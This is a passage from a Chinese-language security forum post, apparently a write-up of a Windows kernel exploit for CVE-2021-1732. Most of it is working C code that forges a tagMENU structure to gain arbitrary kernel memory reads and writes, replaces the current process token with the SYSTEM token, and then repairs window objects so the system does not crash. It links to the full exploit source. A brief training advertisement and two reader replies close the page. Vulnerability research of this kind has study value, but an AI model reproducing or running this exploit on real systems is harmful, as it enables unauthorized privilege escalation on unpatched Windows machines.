
			if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&
				!AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))
			{
				bRet = FALSE;
				ShowError("AppendMenu", GetLastError());
				goto exit;
			}
		}

伪造tagMENU结构体,伪造的时候,要绕过第三处验证:

	// 伪造tagMENU
	HANDLE hProcHeap = NULL;

	hProcHeap = GetProcessHeap();
	if (!hProcHeap)
	{
		bRet = FALSE;
		ShowError("GetProcessHeap", GetLastError());
		goto exit;
	}

	DWORD dwHeapFlags = HEAP_ZERO_MEMORY;
	g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);
	if (!g_qwMenu)
	{
		bRet = FALSE;
		ShowError("GetProcessHeap", GetLastError());
		goto exit;
	}

	*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);
	*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;

	*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);
	*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;
	*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);
	*(PDWORD)(g_qwMenu + 0x40) = 1;
	*(PDWORD)(g_qwMenu + 0x44) = 2;

把伪造的tagMENU设置到tagWND1中:

	// g_hWnd[1]的style加入WS_CHILD 
	DWORD dwStyleOffset = 0x18;
	QWORD qwStyle = *(PQWORD)(g_pWnd[1] + dwStyleOffset);

	qwStyle |= 0x4000000000000000;
	
	if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
		GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

	// 将伪造的tagMENU设置到g_hWnd[1]中
	QWORD qwSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, g_qwMenu);
	
	if (!qwSPMenu && GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

	// 删除g_hWnd[1]的WS_CHILD
	qwStyle &= ~0x4000000000000000;
	if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
		GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

现在就可以通过设置*(spMenu + 0x58)的值,来实现任意地址的读取:

QWORD ReadData_CVE_2021_1732(QWORD pTarAddress)
{
	BYTE bValue[0x8] = { 0 };

	RECT Rect = { 0 };
	if (!GetWindowRect(g_hWnd[1], &Rect))
	{
		ShowError("GetWindowRect", GetLastError());
		goto exit;
	}

	MENUBARINFO mbi = { 0 };

	mbi.cbSize = sizeof(mbi);
	*(PQWORD)(*(PQWORD)(g_qwMenu + 0x58)) = pTarAddress - 0x40;
	
	if (!GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi))
	{
		ShowError("GetMenuBarInfo", GetLastError());
		goto exit;
	}

	*(PDWORD)bValue = mbi.rcBar.left - Rect.left;
	*(PDWORD)(bValue + 4) = mbi.rcBar.top - Rect.top;

exit:
	return *(PQWORD)bValue;
}

3.提权

具有任意地址读写的能力,就可以通过替换Token实现提权:

BOOL EnablePrivileges_CVE_2021_1732()
{
	BOOL bRet = TRUE;
	CONST DWORD dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8, dwTokenOffset = 0x360;

	QWORD qwSytemAddr = GetSystemProcess();
	if (!qwSytemAddr)
	{
		bRet = FALSE;
		goto exit;
	}
	 
	// 获取system进程EPROCESS的地址和Token
	QWORD qwEprocess = ReadData_CVE_2021_1732(qwSytemAddr);
	QWORD qwSystemToken = ReadData_CVE_2021_1732(qwEprocess + dwTokenOffset);

	// 找到当前进程的EPROCESS
	QWORD qwCurPID = GetCurrentProcessId(), qwPID = 0;

	do {
		qwEprocess = ReadData_CVE_2021_1732(qwEprocess + dwLinkOffset) - dwLinkOffset;
		qwPID = ReadData_CVE_2021_1732(qwEprocess + dwPIDOffset);
	} while (qwPID != qwCurPID);
	
	// 替换Token
	if (!WriteData_CVE_2021_1732((PVOID)(qwEprocess + dwTokenOffset), qwSystemToken))
	{
		bRet = FALSE;
		goto exit;
	}
	
exit:
	return bRet;
}

4.修复数据

提权完成之后,为了防止退出进程时发生BSOD,还需要将利用该漏洞过程中修改的窗口对象的成员修复回原来的数据:

	// 修复数据,防止蓝屏
	lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
	QWORD qwTriggerHead = (QWORD)HMValidateHandle(g_hTriggerWnd, TYPE_WINDOW);
	QWORD qwWndOffset = *(PQWORD)(g_pWnd[0] + g_ExtraBytes_offset);
	QWORD qwTriggerOffset = *(PQWORD)(qwTriggerHead + 8);

	if (qwWndOffset > qwTriggerOffset)
	{
		printf("qwWndOffset to larger\n");
		goto exit;
	}

	qwWndOffset = qwTriggerOffset - qwWndOffset;

	DWORD dwFlagsOffset = 0xE8;

	DWORD dwFlags = *(PDWORD)(qwTriggerHead + dwFlagsOffset);
	
	dwFlags &= ~0x800;
	if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + dwFlagsOffset, dwFlags) &&
		GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

	QWORD qwBuffer = (QWORD)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_dwWndExtra);
	if (!qwBuffer)
	{
		bRet = FALSE;
		ShowError("HeapAlloc", GetLastError());
		goto exit;
	}

	if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + g_ExtraBytes_offset, qwBuffer) &&
		GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

	// 增加g_hWnd[1]的WS_CHILD
	qwStyle |= 0x4000000000000000;
	if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
		GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

	// 恢复g_hWnd[1]的spMenu
	if (!SetWindowLongPtr(g_hWnd[1], GWLP_ID, qwSPMenu) && GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

	// 删除g_hWnd[1]的WS_CHILD
	qwStyle &= ~0x4000000000000000;
	if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&
		GetLastError() != 0)
	{
		bRet = FALSE;
		ShowError("SetWindowLongPtr", GetLastError());
		goto exit;
	}

五.运行结果

完整代码保存在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2021-1732.cpp。编译运行即可成功提权:

六.参考资料


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-8-15 15:30 被1900编辑 ,原因:
收藏
点赞6
打赏
分享
打赏 + 100.00雪花
打赏次数 1 雪花 + 100.00
 
赞赏  Editor   +100.00 2022/08/23 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (2)
雪    币: 94
活跃值: (544)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
GJHSQGD 2022-8-17 15:29
2
0
牛的老哥
雪    币: 15
活跃值: (190)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
滴滴滴滴滴 2022-8-18 01:09
3
0
可以加个联系方式吗师傅,我想跟您学习
游客
登录 | 注册 方可回帖
返回